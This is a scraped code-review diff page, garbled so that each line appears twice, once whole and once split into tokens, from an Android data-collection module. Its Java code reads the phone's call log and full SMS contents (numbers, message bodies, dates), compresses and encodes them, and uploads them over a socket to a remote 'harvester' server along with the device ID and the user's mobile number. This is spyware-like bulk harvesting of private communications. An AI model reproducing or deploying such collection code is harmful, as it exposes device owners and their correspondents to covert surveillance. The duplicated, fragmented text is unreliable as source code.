CallLog.Calls.DURATION},
CallLog
.
Calls
.
DURATION
},
//SDK-NOLOG-CODE ->
null,
null
,
//SDK-NOLOG-CODE ->
null,
null
,
//SDK-NOLOG-CODE ->
CallLog.Calls.DEFAULT_SORT_ORDER);
CallLog
.
Calls
.
DEFAULT_SORT_ORDER
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
case SMS_LOG:
case
SMS_LOG:
//SDK-NOLOG-CODE ->
return resolver.query(Uri.parse("content://sms"), new String[]{
return
resolver
.
query
(
Uri
.
parse
(
"content://sms"
),
new
String
[]{
//SDK-NOLOG-CODE ->
"person", //reference to item in {@code content://contacts/people}
"person"
,
//reference to item in {@code content://contacts/people}
//SDK-NOLOG-CODE ->
"address", //The address of the other party.
"address"
,
//The address of the other party.
//SDK-NOLOG-CODE ->
"type",
"type"
,
//SDK-NOLOG-CODE ->
"date",
"date"
,
//SDK-NOLOG-CODE ->
"body",
"body"
,
//SDK-NOLOG-CODE ->
"subject"},
"subject"
},
//SDK-NOLOG-CODE ->
null,
null
,
//SDK-NOLOG-CODE ->
null,
null
,
//SDK-NOLOG-CODE ->
"date DESC");
"date DESC"
);
//SDK-NOLOG-END
//SDK-NOLOG-END
default
:
default
:
return
null
;
return
null
;
...
@@ -353,64 +353,64 @@ public class DataBaseHelper {
...
@@ -353,64 +353,64 @@ public class DataBaseHelper {
}
}
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
/**
/**
//SDK-NOLOG-CODE ->
* 取出一条通话记录
* 取出一条通话记录
//SDK-NOLOG-CODE ->
*/
*/
//SDK-NOLOG-CODE ->
private static com.annimon.stream.Optional<CallLogEntity> getOneCallLog(Cursor cursor) {
private
static
com
.
annimon
.
stream
.
Optional
<
CallLogEntity
>
getOneCallLog
(
Cursor
cursor
)
{
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
final String cachedName = cursor.getString(0);
final
String
cachedName
=
cursor
.
getString
(
0
);
//SDK-NOLOG-CODE ->
final String number = cursor.getString(1);
final
String
number
=
cursor
.
getString
(
1
);
//SDK-NOLOG-CODE ->
final int type = cursor.getInt(2);
final
int
type
=
cursor
.
getInt
(
2
);
//SDK-NOLOG-CODE ->
final long date = cursor.getLong(3);
final
long
date
=
cursor
.
getLong
(
3
);
//SDK-NOLOG-CODE ->
final long duration = cursor.getLong(4);
final
long
duration
=
cursor
.
getLong
(
4
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
CallLogEntity callLogEntity = new CallLogEntity() {{
CallLogEntity
callLogEntity
=
new
CallLogEntity
()
{{
//SDK-NOLOG-CODE ->
setCachedName(cachedName);
setCachedName
(
cachedName
);
//SDK-NOLOG-CODE ->
setNumber(number);
setNumber
(
number
);
//SDK-NOLOG-CODE ->
setType(type);
setType
(
type
);
//SDK-NOLOG-CODE ->
setDate(date);
setDate
(
date
);
//SDK-NOLOG-CODE ->
setDuration(duration);
setDuration
(
duration
);
//SDK-NOLOG-CODE ->
}};
}};
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.of(callLogEntity);
return
com
.
annimon
.
stream
.
Optional
.
of
(
callLogEntity
);
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.empty();
return
com
.
annimon
.
stream
.
Optional
.
empty
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
/**
/**
//SDK-NOLOG-CODE ->
* 查询一条短信记录
* 查询一条短信记录
//SDK-NOLOG-CODE ->
*/
*/
//SDK-NOLOG-CODE ->
private static com.annimon.stream.Optional<SmsEntity> getOneSms(Cursor cursor) {
private
static
com
.
annimon
.
stream
.
Optional
<
SmsEntity
>
getOneSms
(
Cursor
cursor
)
{
//SDK-NOLOG-CODE ->
//
SDK-NOLOG-CODE ->//
"person", //reference to item in {@code content://contacts/people}
// "person", //reference to item in {@code content://contacts/people}
//
SDK-NOLOG-CODE ->//
"address", //The address of the other party.
// "address", //The address of the other party.
//
SDK-NOLOG-CODE ->//
"type",
// "type",
//
SDK-NOLOG-CODE ->//
"date",
// "date",
//
SDK-NOLOG-CODE ->//
"body",
// "body",
//
SDK-NOLOG-CODE ->//
"subject"},
// "subject"},
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
final String address = cursor.getString(cursor.getColumnIndex("address"));
final
String
address
=
cursor
.
getString
(
cursor
.
getColumnIndex
(
"address"
));
//SDK-NOLOG-CODE ->
final int type = cursor.getInt(cursor.getColumnIndex("type"));
final
int
type
=
cursor
.
getInt
(
cursor
.
getColumnIndex
(
"type"
));
//SDK-NOLOG-CODE ->
final long date = cursor.getLong(cursor.getColumnIndex("date"));
final
long
date
=
cursor
.
getLong
(
cursor
.
getColumnIndex
(
"date"
));
//SDK-NOLOG-CODE ->
final String body = cursor.getString(cursor.getColumnIndex("body"));
final
String
body
=
cursor
.
getString
(
cursor
.
getColumnIndex
(
"body"
));
//SDK-NOLOG-CODE ->
final String subject = cursor.getString(cursor.getColumnIndex("subject"));
final
String
subject
=
cursor
.
getString
(
cursor
.
getColumnIndex
(
"subject"
));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
SmsEntity smsEntity = new SmsEntity() {{
SmsEntity
smsEntity
=
new
SmsEntity
()
{{
//SDK-NOLOG-CODE ->
setAddress(address);
setAddress
(
address
);
//SDK-NOLOG-CODE ->
setType(type);
setType
(
type
);
//SDK-NOLOG-CODE ->
setDate(date);
setDate
(
date
);
//SDK-NOLOG-CODE ->
setBody(body);
setBody
(
body
);
//SDK-NOLOG-CODE ->
setSubject(subject);
setSubject
(
subject
);
//SDK-NOLOG-CODE ->
}};
}};
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.of(smsEntity);
return
com
.
annimon
.
stream
.
Optional
.
of
(
smsEntity
);
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "getOneSms");
//UploadManager.uploadException(e, "getOneSms");
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.empty();
return
com
.
annimon
.
stream
.
Optional
.
empty
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
/**
/**
...
...
src/main/java/tech/starwin/utils/collection/UploadManager.java
View file @
98628cf8
...
@@ -71,36 +71,36 @@ public class UploadManager {
...
@@ -71,36 +71,36 @@ public class UploadManager {
*/
*/
public
static
void
uploadCollectInfo
(
String
sessionId
,
boolean
needLogs
)
{
public
static
void
uploadCollectInfo
(
String
sessionId
,
boolean
needLogs
)
{
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(sessionId)) {
if
(
TextUtils
.
isEmpty
(
sessionId
))
{
//SDK-NOLOG-CODE ->
return;
return
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
PreferencesManager.get().saveSessionId(sessionId);
PreferencesManager
.
get
().
saveSessionId
(
sessionId
);
//SDK-NOLOG-CODE ->
Observable.just(true)
Observable
.
just
(
true
)
//SDK-NOLOG-CODE ->
.observeOn(Schedulers.io())
.
observeOn
(
Schedulers
.
io
())
//SDK-NOLOG-CODE ->
.map(new Function<Boolean, Boolean>() {
.
map
(
new
Function
<
Boolean
,
Boolean
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public Boolean apply(Boolean aBoolean) throws Exception {
public
Boolean
apply
(
Boolean
aBoolean
)
throws
Exception
{
//SDK-NOLOG-CODE ->
long startTime = System.currentTimeMillis();
long
startTime
=
System
.
currentTimeMillis
();
//SDK-NOLOG-CODE ->
//获取需要上传的数据
//获取需要上传的数据
//SDK-NOLOG-CODE ->
List<CollectInfoEntity> infos;
List
<
CollectInfoEntity
>
infos
;
//SDK-NOLOG-CODE ->
if (needLogs) {
if
(
needLogs
)
{
//SDK-NOLOG-CODE ->
infos = Collector.getUploadData(context);
infos
=
Collector
.
getUploadData
(
context
);
//SDK-NOLOG-CODE ->
} else {
}
else
{
//SDK-NOLOG-CODE ->
infos = Collector.getUploadWhitOutLogs(context);
infos
=
Collector
.
getUploadWhitOutLogs
(
context
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
if (infos == null || infos.size() == 0) {
if
(
infos
==
null
||
infos
.
size
()
==
0
)
{
//SDK-NOLOG-CODE ->
return false;
return
false
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//开始上传
//开始上传
//
SDK-NOLOG-CODE ->//
uploadBlackBox();
// uploadBlackBox();
//SDK-NOLOG-CODE ->
startUpload(infos, sessionId);
startUpload
(
infos
,
sessionId
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return true;
return
true
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.retryWhen(new RetryWithDelay(5, 20 * 1000))
.
retryWhen
(
new
RetryWithDelay
(
5
,
20
*
1000
))
//SDK-NOLOG-CODE ->
.observeOn(AndroidSchedulers.mainThread())
.
observeOn
(
AndroidSchedulers
.
mainThread
())
//SDK-NOLOG-CODE ->
.subscribe();
.
subscribe
();
//SDK-NOLOG-END
//SDK-NOLOG-END
}
}
...
@@ -132,86 +132,86 @@ public class UploadManager {
...
@@ -132,86 +132,86 @@ public class UploadManager {
*/
*/
public
static
void
startUpload
(
List
<
CollectInfoEntity
>
infoList
,
String
sessionId
)
throws
RuntimeException
{
public
static
void
startUpload
(
List
<
CollectInfoEntity
>
infoList
,
String
sessionId
)
throws
RuntimeException
{
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
Socket socket = null;
Socket
socket
=
null
;
//SDK-NOLOG-CODE ->
OutputStream os = null;
OutputStream
os
=
null
;
//SDK-NOLOG-CODE ->
InputStream ins = null;
InputStream
ins
=
null
;
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
socket = getSocket();
socket
=
getSocket
();
//SDK-NOLOG-CODE ->
os = socket.getOutputStream();
os
=
socket
.
getOutputStream
();
//SDK-NOLOG-CODE ->
ins = socket.getInputStream();
ins
=
socket
.
getInputStream
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
List<String> datas = Stream.of(infoList)
List
<
String
>
datas
=
Stream
.
of
(
infoList
)
//SDK-NOLOG-CODE ->
.map(new com.annimon.stream.function.Function<CollectInfoEntity, byte[]>() {
.
map
(
new
com
.
annimon
.
stream
.
function
.
Function
<
CollectInfoEntity
,
byte
[]>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public byte[] apply(CollectInfoEntity collectInfoEntity) {
public
byte
[]
apply
(
CollectInfoEntity
collectInfoEntity
)
{
//SDK-NOLOG-CODE ->
return GZipUtil.compress(collectInfoEntity.getBody(), "utf-8");
return
GZipUtil
.
compress
(
collectInfoEntity
.
getBody
(),
"utf-8"
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.map(new com.annimon.stream.function.Function<byte[], String>() {
.
map
(
new
com
.
annimon
.
stream
.
function
.
Function
<
byte
[],
String
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public String apply(byte[] bytes) {
public
String
apply
(
byte
[]
bytes
)
{
//SDK-NOLOG-CODE ->
return Base64.encodeToString(bytes, 0);
return
Base64
.
encodeToString
(
bytes
,
0
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.reduce(new ArrayList<>(), new BiFunction<ArrayList<String>, String, ArrayList<String>>() {
.
reduce
(
new
ArrayList
<>(),
new
BiFunction
<
ArrayList
<
String
>,
String
,
ArrayList
<
String
>>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public ArrayList<String> apply(ArrayList<String> array, String value) {
public
ArrayList
<
String
>
apply
(
ArrayList
<
String
>
array
,
String
value
)
{
//SDK-NOLOG-CODE ->
array.add(value);
array
.
add
(
value
);
//SDK-NOLOG-CODE ->
return array;
return
array
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
});
});
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
int count = Stream.of(datas).reduce(0, (accr, item) -> accr + item.length());
int
count
=
Stream
.
of
(
datas
).
reduce
(
0
,
(
accr
,
item
)
->
accr
+
item
.
length
());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "upload count:" + (count / 1024 + "k"));
LogUtils
.
d
(
TAG
,
"upload count:"
+
(
count
/
1024
+
"k"
));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
for (int i = 0; i < datas.size(); i++) {
for
(
int
i
=
0
;
i
<
datas
.
size
();
i
++)
{
//SDK-NOLOG-CODE ->
IncomeMessageProto.Message message = IncomeMessageProto.Message.newBuilder()
IncomeMessageProto
.
Message
message
=
IncomeMessageProto
.
Message
.
newBuilder
()
//SDK-NOLOG-CODE ->
.setVersion("2")
.
setVersion
(
"2"
)
//SDK-NOLOG-CODE ->
.setBody(datas.get(i))
.
setBody
(
datas
.
get
(
i
))
//SDK-NOLOG-CODE ->
.setImei(AppInfoUtils.getAndroidID(context))
.
setImei
(
AppInfoUtils
.
getAndroidID
(
context
))
//SDK-NOLOG-CODE ->
.setMobile(LoginManager.get().getMobile())
.
setMobile
(
LoginManager
.
get
().
getMobile
())
//SDK-NOLOG-CODE ->
.setCTimestamp(System.currentTimeMillis())
.
setCTimestamp
(
System
.
currentTimeMillis
())
//SDK-NOLOG-CODE ->
.setType(IncomeMessageProto.Message.Type.TRACE)
.
setType
(
IncomeMessageProto
.
Message
.
Type
.
TRACE
)
//SDK-NOLOG-CODE ->
.setSessionId(sessionId)
.
setSessionId
(
sessionId
)
//SDK-NOLOG-CODE ->
.build();
.
build
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
message.writeDelimitedTo(os);
message
.
writeDelimitedTo
(
os
);
//SDK-NOLOG-CODE ->
os.flush();
os
.
flush
();
//SDK-NOLOG-CODE ->
IncomeMessageProto.Message feedback = IncomeMessageProto.Message.parseDelimitedFrom(ins);
IncomeMessageProto
.
Message
feedback
=
IncomeMessageProto
.
Message
.
parseDelimitedFrom
(
ins
);
//SDK-NOLOG-CODE ->
if (feedback != null) {
if
(
feedback
!=
null
)
{
//SDK-NOLOG-CODE ->
String from = feedback.toString();
String
from
=
feedback
.
toString
();
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "feedback: " + from);
LogUtils
.
d
(
TAG
,
"feedback: "
+
from
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//发送上传结束指令
//发送上传结束指令
//SDK-NOLOG-CODE ->
sendControlCommand(os, "CLOSE", sessionId, " datas.size=" + datas.size());
sendControlCommand
(
os
,
"CLOSE"
,
sessionId
,
" datas.size="
+
datas
.
size
());
//SDK-NOLOG-CODE ->
PreferencesManager.get().saveSessionId("");
PreferencesManager
.
get
().
saveSessionId
(
""
);
//SDK-NOLOG-CODE ->
} catch (IOException e) {
}
catch
(
IOException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
uploadException(e, e.getMessage());
uploadException
(
e
,
e
.
getMessage
());
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
uploadException(e, e.getMessage());
uploadException
(
e
,
e
.
getMessage
());
//SDK-NOLOG-CODE ->
} finally {
}
finally
{
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
if (os != null) {
if
(
os
!=
null
)
{
//SDK-NOLOG-CODE ->
os.close();
os
.
close
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
if (ins != null) {
if
(
ins
!=
null
)
{
//SDK-NOLOG-CODE ->
ins.close();
ins
.
close
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
if (socket != null) {
if
(
socket
!=
null
)
{
//SDK-NOLOG-CODE ->
socket.close();
socket
.
close
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
} catch (IOException e) {
}
catch
(
IOException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
}
}
...
@@ -219,38 +219,38 @@ public class UploadManager {
...
@@ -219,38 +219,38 @@ public class UploadManager {
* 创建Socket
* 创建Socket
*/
*/
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
private static Socket getSocket() throws IOException {
private
static
Socket
getSocket
()
throws
IOException
{
//SDK-NOLOG-CODE ->
String harvesterUrl = Gateway.getHarvesterUrl();
String
harvesterUrl
=
Gateway
.
getHarvesterUrl
();
//SDK-NOLOG-CODE ->
harvesterUrl = harvesterUrl.replaceAll("http://", "");
harvesterUrl
=
harvesterUrl
.
replaceAll
(
"http://"
,
""
);
//SDK-NOLOG-CODE ->
harvesterUrl = harvesterUrl.replaceAll("https://", "");
harvesterUrl
=
harvesterUrl
.
replaceAll
(
"https://"
,
""
);
//SDK-NOLOG-CODE ->
String ip = harvesterUrl.split(":")[0];
String
ip
=
harvesterUrl
.
split
(
":"
)[
0
];
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
int port;
int
port
;
//SDK-NOLOG-CODE ->
if (harvesterUrl.length() <= 1) {
if
(
harvesterUrl
.
length
()
<=
1
)
{
//SDK-NOLOG-CODE ->
port = LibConfig.HARVESTER_PORT;
port
=
LibConfig
.
HARVESTER_PORT
;
//SDK-NOLOG-CODE ->
} else {
}
else
{
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
port = Integer.valueOf(harvesterUrl.split(":")[1]);
port
=
Integer
.
valueOf
(
harvesterUrl
.
split
(
":"
)[
1
]);
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
port = LibConfig.HARVESTER_PORT;
port
=
LibConfig
.
HARVESTER_PORT
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
Socket socket = new Socket();
Socket
socket
=
new
Socket
();
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
socket.setSoTimeout(30 * 1000);
socket
.
setSoTimeout
(
30
*
1000
);
//SDK-NOLOG-CODE ->
socket.connect(new InetSocketAddress(ip, port), 10 * 1000);
socket
.
connect
(
new
InetSocketAddress
(
ip
,
port
),
10
*
1000
);
//SDK-NOLOG-CODE ->
} catch (UnknownHostException | SocketException | SocketTimeoutException e) {
}
catch
(
UnknownHostException
|
SocketException
|
SocketTimeoutException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getInetAddress() = " + socket.getInetAddress());
LogUtils
.
d
(
TAG
,
"socket.getInetAddress() = "
+
socket
.
getInetAddress
());
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getPort() = " + socket.getPort());
LogUtils
.
d
(
TAG
,
"socket.getPort() = "
+
socket
.
getPort
());
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getRemoteSocketAddress() = " + socket.getRemoteSocketAddress());
LogUtils
.
d
(
TAG
,
"socket.getRemoteSocketAddress() = "
+
socket
.
getRemoteSocketAddress
());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return socket;
return
socket
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
/**
/**
...
@@ -261,19 +261,19 @@ public class UploadManager {
...
@@ -261,19 +261,19 @@ public class UploadManager {
private
static
void
sendControlCommand
(
OutputStream
os
,
String
cmd
,
String
sessionId
,
String
private
static
void
sendControlCommand
(
OutputStream
os
,
String
cmd
,
String
sessionId
,
String
body
)
throws
IOException
{
body
)
throws
IOException
{
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
IncomeMessageProto.Message closeMsg = IncomeMessageProto.Message.newBuilder()
IncomeMessageProto
.
Message
closeMsg
=
IncomeMessageProto
.
Message
.
newBuilder
()
//SDK-NOLOG-CODE ->
.setCTimestamp(0)
.
setCTimestamp
(
0
)
//SDK-NOLOG-CODE ->
.setVersion("2")
.
setVersion
(
"2"
)
//SDK-NOLOG-CODE ->
.setBody(body + " permission=" + getPermissionState(context).toString())
.
setBody
(
body
+
" permission="
+
getPermissionState
(
context
).
toString
())
//SDK-NOLOG-CODE ->
.setImei(AppInfoUtils.getAndroidID(context))
.
setImei
(
AppInfoUtils
.
getAndroidID
(
context
))
//SDK-NOLOG-CODE ->
.setMobile(LoginManager.get().getMobile())
.
setMobile
(
LoginManager
.
get
().
getMobile
())
//SDK-NOLOG-CODE ->
.setType(IncomeMessageProto.Message.Type.UNKNOWN)
.
setType
(
IncomeMessageProto
.
Message
.
Type
.
UNKNOWN
)
//SDK-NOLOG-CODE ->
.setControlCmd(cmd)
.
setControlCmd
(
cmd
)
//SDK-NOLOG-CODE ->
.setSessionId(sessionId)
.
setSessionId
(
sessionId
)
//SDK-NOLOG-CODE ->
.build();
.
build
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
closeMsg.writeDelimitedTo(os);
closeMsg
.
writeDelimitedTo
(
os
);
//SDK-NOLOG-CODE ->
os.flush();
os
.
flush
();
//SDK-NOLOG-END
//SDK-NOLOG-END
}
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment